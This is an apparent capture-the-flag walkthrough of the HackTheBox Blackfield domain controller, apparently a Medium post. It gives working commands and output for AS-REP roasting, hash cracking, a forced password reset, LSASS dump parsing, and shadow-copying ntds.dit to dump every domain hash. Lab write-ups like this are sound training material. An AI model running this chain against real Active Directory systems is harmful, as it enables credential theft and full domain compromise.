Blackfield — HackTheBox Walkthrough
This walkthrough details hacking the HackTheBox Blackfield machine — a hard Active Directory domain controller. It covers initial…
Blackfield — HackTheBox Walkthrough
This walkthrough details hacking the HackTheBox Blackfield machine — a hard Active Directory domain controller. It covers initial enumeration via SMB shares and AS-REP roasting to crack user passwords, RPC privilege abuse for password resets, LSASS dump extraction for NTLM hashes, and SeBackupPrivilege exploitation to shadow-copy NTDS.dit and SYSTEM hive. Final pass-the-hash with domain admin yields root access and flags.
Enumeration — Recon
Nmap found the eight open services:
nmap -sSCV -T5 -p- --min-rate 1000 10.129.229.17 -oN 10.129.229.17_full_syn -vNmap scan report for blackfield.htb (10.129.229.17)
Host is up (0.084s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-22 15:27:11Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m59s
| smb2-time:
| date: 2026-04-22T15:27:17
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and requiredOn the machine SMB null session is enabled and we have the READ access on two shares:
nxc smb 10.129.229.17 -u 'guest' -p '' --sharesSMB 10.129.229.17 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB 10.129.229.17 445 DC01 [+] BLACKFIELD.local\guest:
SMB 10.129.229.17 445 DC01 [*] Enumerated shares
SMB 10.129.229.17 445 DC01 Share Permissions Remark
SMB 10.129.229.17 445 DC01 ----- ----------- ------
SMB 10.129.229.17 445 DC01 ADMIN$ Remote Admin
SMB 10.129.229.17 445 DC01 C$ Default share
SMB 10.129.229.17 445 DC01 forensic Forensic / Audit share.
SMB 10.129.229.17 445 DC01 IPC$ READ Remote IPC
SMB 10.129.229.17 445 DC01 NETLOGON Logon server share
SMB 10.129.229.17 445 DC01 profiles$ READ
SMB 10.129.229.17 445 DC01 SYSVOL Logon server share Foothold — svc_backup
There are username named folders on the profiles$ share and we can use this username list to perform the ASREProast attack to AD users.
smbclient \\\\10.129.229.17\\profiles$ -U 'guest%'smb: \> ls
. D 0 Wed Jun 3 12:47:12 2020
.. D 0 Wed Jun 3 12:47:12 2020
AAlleni D 0 Wed Jun 3 12:47:11 2020
ABarteski D 0 Wed Jun 3 12:47:11 2020
ABekesz D 0 Wed Jun 3 12:47:11 2020
ABenzies D 0 Wed Jun 3 12:47:11 2020
ABiemiller D 0 Wed Jun 3 12:47:11 2020
AChampken D 0 Wed Jun 3 12:47:11 2020
ACheretei D 0 Wed Jun 3 12:47:11 2020
ACsonaki D 0 Wed Jun 3 12:47:11 2020
...[SNIP]...Then inserted all this usernames to user.txt file for the impacket’s GetNPUsers tool to perform ASREProast atack.
impacket-GetNPUsers BLACKFIELD.local/ -usersfile users.txt -format hashcat -outputfile hashes.asrep -dc-ip 10.129.229.17Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
...[SNIP]...
$krb5asrep$23$support@BLACKFIELD.LOCAL:12007e65a5b0985f64a1b1848065dadc$39c60408dcb0a1c1d234d5d7ae5c3f2b0f7794c7bedc5eac0823e63abf0c3688fd87be1a73696176babf52da49f62c8c5e5cd98bf4d9590deeb17a467c05830ee69c627ca4d3c1aa8cfecd8663b56eecdea483797345ca52d5d121c0bc02b3fac433abffd965d40b73db23494f57cc4f6091f0a67924a926e646935e741f9fbae4337842021792416843869e9c495fb8aab69d0588a9aa0abae6959af1ee89aa4a53f578e7cc4241a0d4f854740987c25aefd15f8f7944f296728d9ec528ce807cff001199e42314001c991a4c152dd6237ffbb85de66cef2c23e09d1644bd6bc6878e8a5416bfd8fae83683f68f3a3918d5981b
...[SNIP]...
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)After the attack got the “support” named user’s kerberos hash:
hashcat -m 18200 hashes.asrep /usr/share/wordlists/rockyou.txt -O$krb5asrep$23$support@BLACKFIELD.LOCAL:12007e65a5b0985f64a1b1848065dadc$39c6
0408dcb0a1c1d234d5d7ae5c3f2b0f7794c7bedc5eac0823e63abf0c3688fd87be1a73696176
babf52da49f62c8c5e5cd98bf4d9590deeb17a467c05830ee69c627ca4d3c1aa8cfecd8663b5
6eecdea483797345ca52d5d121c0bc02b3fac433abffd965d40b73db23494f57cc4f6091f0a6
7924a926e646935e741f9fbae4337842021792416843869e9c495fb8aab69d0588a9aa0abae6
959af1ee89aa4a53f578e7cc4241a0d4f854740987c25aefd15f8f7944f296728d9ec528ce80
7cff001199e42314001c991a4c152dd6237ffbb85de66cef2c23e09d1644bd6bc6878e8a5416
bfd8fae83683f68f3a3918d5981b:#00^BlackKnight
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$support@BLACKFIELD.LOCAL:12007e65a5b0...d5981b
Time.Started.....: Wed Apr 22 05:30:00 2026 (20 secs)
Time.Estimated...: Wed Apr 22 05:30:20 2026 (0 secs)
Kernel.Feature...: Optimized Kernel (password length 0-31 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 771.0 kH/s (2.21ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 14337042/14344385 (99.95%)
Rejected.........: 3090/14337042 (0.02%)
Restore.Point....: 14334989/14344385 (99.93%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: #1Emokid -> ""cowgurl"
Hardware.Mon.#01.: Util: 86%
Started: Wed Apr 22 05:29:54 2026
Stopped: Wed Apr 22 05:30:21 2026Now we have the valid user’s cred. We can run Bloodhound collectors with this user. I will be using the RustHound for collecting data from AD.
rusthound-ce --domain BLACKFIELD.local -u 'support' --ldappassword='#00^BlackKnight' --zip -i 10.129.229.17---------------------------------------------------
Initializing RustHound-CE at 05:46:15 on 04/22/26
Powered by @g0h4n_0
---------------------------------------------------
[2026-04-22T09:46:15Z INFO rusthound_ce] Verbosity level: Info
[2026-04-22T09:46:15Z INFO rusthound_ce] Collection method: All
[2026-04-22T09:46:15Z INFO rusthound_ce::ldap] Connected to BLACKFIELD.LOCAL Active Directory!
[2026-04-22T09:46:15Z INFO rusthound_ce::ldap] Starting data collection...
[2026-04-22T09:46:15Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-22T09:46:16Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=BLACKFIELD,DC=local
[2026-04-22T09:46:16Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-22T09:46:18Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=BLACKFIELD,DC=local
[2026-04-22T09:46:18Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-22T09:46:21Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=BLACKFIELD,DC=local
[2026-04-22T09:46:21Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-22T09:46:21Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=BLACKFIELD,DC=local
[2026-04-22T09:46:21Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-22T09:46:21Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=BLACKFIELD,DC=local
[2026-04-22T09:46:21Z INFO rusthound_ce::api] Starting the LDAP objects parsing...
[2026-04-22T09:46:21Z INFO rusthound_ce::objects::domain] MachineAccountQuota: 10
[2026-04-22T09:46:21Z INFO rusthound_ce::api] Parsing LDAP objects finished!
[2026-04-22T09:46:21Z INFO rusthound_ce::json::checker] Starting checker to replace some values...
[2026-04-22T09:46:21Z INFO rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-04-22T09:46:21Z INFO rusthound_ce::json::maker::common] 316 users parsed!
[2026-04-22T09:46:21Z INFO rusthound_ce::json::maker::common] 60 groups parsed!
[2026-04-22T09:46:21Z INFO rusthound_ce::json::maker::common] 18 computers parsed!
[2026-04-22T09:46:21Z INFO rusthound_ce::json::maker::common] 1 ous parsed!
[2026-04-22T09:46:21Z INFO rusthound_ce::json::maker::common] 1 domains parsed!
[2026-04-22T09:46:21Z INFO rusthound_ce::json::maker::common] 2 gpos parsed!
[2026-04-22T09:46:21Z INFO rusthound_ce::json::maker::common] 73 containers parsed!
[2026-04-22T09:46:21Z INFO rusthound_ce::json::maker::common] .//20260422054621_blackfield-local_rusthound-ce.zip created!
RustHound-CE Enumeration Completed at 05:46:21 on 04/22/26! Happy Graphing!After analyzing the data on Bloodhound, “support” user has the ForceChangePassword on “audit2020” user. I will be using the bloodyAD tool to perform the password change.
bloodyAD --host active.htb -u 'support' -p '#00^BlackKnight' --dc-ip 10.129.229.17 set password AUDIT2020 'newP@ssword2022' As the name suggests, the AUDIT2020 user handles the audit work and has access to the forensic share.
nxc smb 10.129.229.17 -u audit2020 -p 'newP@ssword2022' --sharesSMB 10.129.229.17 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB 10.129.229.17 445 DC01 [+] BLACKFIELD.local\audit2020:newP@ssword2022
SMB 10.129.229.17 445 DC01 [*] Enumerated shares
SMB 10.129.229.17 445 DC01 Share Permissions Remark
SMB 10.129.229.17 445 DC01 ----- ----------- ------
SMB 10.129.229.17 445 DC01 ADMIN$ Remote Admin
SMB 10.129.229.17 445 DC01 C$ Default share
SMB 10.129.229.17 445 DC01 forensic READ Forensic / Audit share.
SMB 10.129.229.17 445 DC01 IPC$ READ Remote IPC
SMB 10.129.229.17 445 DC01 NETLOGON READ Logon server share
SMB 10.129.229.17 445 DC01 profiles$ READ
SMB 10.129.229.17 445 DC01 SYSVOL READ Logon server shareOn the forensic share there is lsass.zip named file that stores the dump of lsass which is goldmine for us to get ntlm hashes.
smbclient \\\\10.129.229.17\\forensic -U 'audit2020%newP@ssword2022'smb: \> ls
. D 0 Sun Feb 23 08:03:16 2020
.. D 0 Sun Feb 23 08:03:16 2020
commands_output D 0 Sun Feb 23 13:14:37 2020
memory_analysis D 0 Thu May 28 16:28:33 2020
tools D 0 Sun Feb 23 08:39:08 2020
5102079 blocks of size 4096. 1694222 blocks available
smb: \> cd memory_analysis
smb: \memory_analysis\> ls
. D 0 Thu May 28 16:28:33 2020
.. D 0 Thu May 28 16:28:33 2020
conhost.zip A 37876530 Thu May 28 16:25:36 2020
ctfmon.zip A 24962333 Thu May 28 16:25:45 2020
dfsrs.zip A 23993305 Thu May 28 16:25:54 2020
dllhost.zip A 18366396 Thu May 28 16:26:04 2020
ismserv.zip A 8810157 Thu May 28 16:26:13 2020
lsass.zip A 41936098 Thu May 28 16:25:08 2020
mmc.zip A 64288607 Thu May 28 16:25:25 2020
RuntimeBroker.zip A 13332174 Thu May 28 16:26:24 2020
ServerManager.zip A 131983313 Thu May 28 16:26:49 2020
sihost.zip A 33141744 Thu May 28 16:27:00 2020
smartscreen.zip A 33756344 Thu May 28 16:27:11 2020
svchost.zip A 14408833 Thu May 28 16:27:19 2020
taskhostw.zip A 34631412 Thu May 28 16:27:30 2020
winlogon.zip A 14255089 Thu May 28 16:27:38 2020
wlms.zip A 4067425 Thu May 28 16:27:44 2020
WmiPrvSE.zip A 18303252 Thu May 28 16:27:53 2020
5102079 blocks of size 4096. 1694222 blocks available
smb: \memory_analysis\> get lsass.zip
getting file \memory_analysis\lsass.zip of size 41936098 as lsass.zip (4968.8 KiloBytes/sec) (average 4968.8 KiloBytes/sec)Unziped the downloaded file and used pypykatz tool to extract the ntlm hashes from lasass.DMP named dump file. Lsass dump file contains the valid svc_backup user’s ntlm hash. This user is very valuable user on AD environment.
pypykatz lsa minidump lsass.DMPFILE: ======== lsass.DMP =======
== LogonSession ==
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
== MSV ==
Username: svc_backup
Domain: BLACKFIELD
LM: NA
NT: 9658d1d1dcd9250115e2205d9f48400d
SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
DPAPI: a03cd8e9d30171f3cfe8caad92fef62100000000
== WDIGEST [633ba]==
username svc_backup
domainname BLACKFIELD
password None
password (hex)
== Kerberos ==
Username: svc_backup
Domain: BLACKFIELD.LOCAL
AES128 Key: 9658d1d1dcd9250115e2205d9f48400d
AES256 Key: 20a3e879a3a0ca4f51db1e63514a27ac18eef553d8f30c29805c398c97599e91
== WDIGEST [633ba]==
username svc_backup
domainname BLACKFIELD
password None
password (hex)
== LogonSession ==
...[SNIP]...Privilege escalation
Svc_backup user has the very high privileges that can help us to escalate the privileges on machine. I logined as svc_backup on machine with evil-winrm tool.
PS C:\Users\svc_backup\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set EnabledAs a Backup Operator we can copy the C drive to new created Z drive. This prosess help us to get ntds.dit file which contains all users ntlm hash and help us to get the Administrator user.
Create backup named file which contains the commands for diskshadow tool on system.
set context PERSISTENT NOWRITERS
set metadata C:\Windows\Temp\meta.cab
add volume c: alias temp
create
expose %temp% z:Then use unix2dos tool to convert Unix to DOS format:
unix2dos backupunix2dos: converting file backup to DOS format...Uploaded the backup file to target machine:
PS C:\Users\svc_backup\Documents> upload backup
Info: Uploading /home/kali/Desktop/Hackthebox/blackfield/backup to C:\Users\svc_backup\Documents\backup
Data: 164 bytes of 164 bytes copied
Info: Upload successful!Then execute the uploaded file with diskshadow tool on machine:
PS C:\Users\svc_backup\Documents> diskshadow /s backup
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC01, 4/22/2026 10:48:56 AM
-> set context PERSISTENT NOWRITERS
-> set metadata C:\Windows\Temp\meta.cab
-> add volume c: alias temp
-> create
Alias temp for shadow ID {1599a7c9-612a-4784-9ea1-e55e4199ae3d} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {2302d5a3-a8d2-4e58-b535-8742f750156a} set as environment variable.
Querying all shadow copies with the shadow copy set ID {2302d5a3-a8d2-4e58-b535-8742f750156a}
* Shadow copy ID = {1599a7c9-612a-4784-9ea1-e55e4199ae3d} %temp%
- Shadow copy set: {2302d5a3-a8d2-4e58-b535-8742f750156a} %VSS_SHADOW_SET%
- Original count of shadow copies = 1
- Original volume name: \\?\Volume{6cd5140b-0000-0000-0000-602200000000}\ [C:\]
- Creation time: 4/22/2026 10:48:58 AM
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
- Originating machine: DC01.BLACKFIELD.local
- Service machine: DC01.BLACKFIELD.local
- Not exposed
- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
- Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1
-> expose %temp% z:
-> %temp% = {1599a7c9-612a-4784-9ea1-e55e4199ae3d}
The shadow copy was successfully exposed as z:\.
->Now we have the Z named drive and we have the full control on this drive. After that we can copy the specific file from Z drive to current drive with robocopy tool:
robocopy /b Z:\Windows\NTDS C:\Users\svc_backup\Documents ntds.dit-------------------------------------------------------------------------------
ROBOCOPY :: Robust File Copy for Windows
-------------------------------------------------------------------------------
Started : Tuesday, April 21, 2026 11:11:30 AM
Source : Z:\Windows\NTDS\
Dest : C:\Users\svc_backup\Documents\
Files : ntds.dit
Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
1 Z:\Windows\NTDS\
New File 18.0 m ntds.dit
0.0%
0.3%
0.6%
...[SNIP]...
99.6%
100%
100%
------------------------------------------------------------------------------
Total Copied Skipped Mismatch FAILED Extras
Dirs : 1 0 1 0 0 0
Files : 1 1 0 0 0 0
Bytes : 18.00 m 18.00 m 0 0 0 0
Times : 0:00:00 0:00:00 0:00:00 0:00:00
Speed : 71493818 Bytes/sec.
Speed : 4090.909 MegaBytes/min.
Ended : Tuesday, April 21, 2026 11:11:30 AM
*Evil-WinRM* PS C:\Users\svc_backup\Documents> ls
Directory: C:\Users\svc_backup\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/21/2026 11:09 AM 125 backup
-a---- 4/21/2026 9:26 AM 18874368 ntds.ditThen dumped the SYSTEM file with reg tool on machine:
PS C:\Users\svc_backup\Documents> reg save hklm\system C:\Users\svc_backup\Documents\SYSTEM
The operation completed successfully.Downloaded the both dump files to kali:
*Evil-WinRM* PS C:\Users\svc_backup\Documents> download SYSTEM
Info: Downloading C:\Users\svc_backup\Documents\SYSTEM to SYSTEM
Info: Download successful!
*Evil-WinRM* PS C:\Users\svc_backup\Documents> download ntds.dit
Info: Downloading C:\Users\svc_backup\Documents\ntds.dit to ntds.dit
Info: Download successful!Then used impacket’s secretsdump tool to extract the ntlm hashes from these files.
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCALImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:e8f4a891c128b855e68e7853b066bebc:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
BLACKFIELD.local\BLACKFIELD764430:1105:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD538365:1106:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD189208:1107:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
...[SNIP]...BOOM!!! We got the Administrator’s ntlm hash.
메타데이터
- post_id
- aed47b28fdf8
- slug
- blackfield-hackthebox-walkthrough-aed47b28fdf8
- url
- https://medium.com/@natiggg/blackfield-hackthebox-walkthrough-aed47b28fdf8
- canonical_url
- https://medium.com/@natiggg/blackfield-hackthebox-walkthrough-aed47b28fdf8
- author_url
- https://medium.com/@natiggg
- status
- ok
- fetched_at
- 2026-06-17 08:20:12
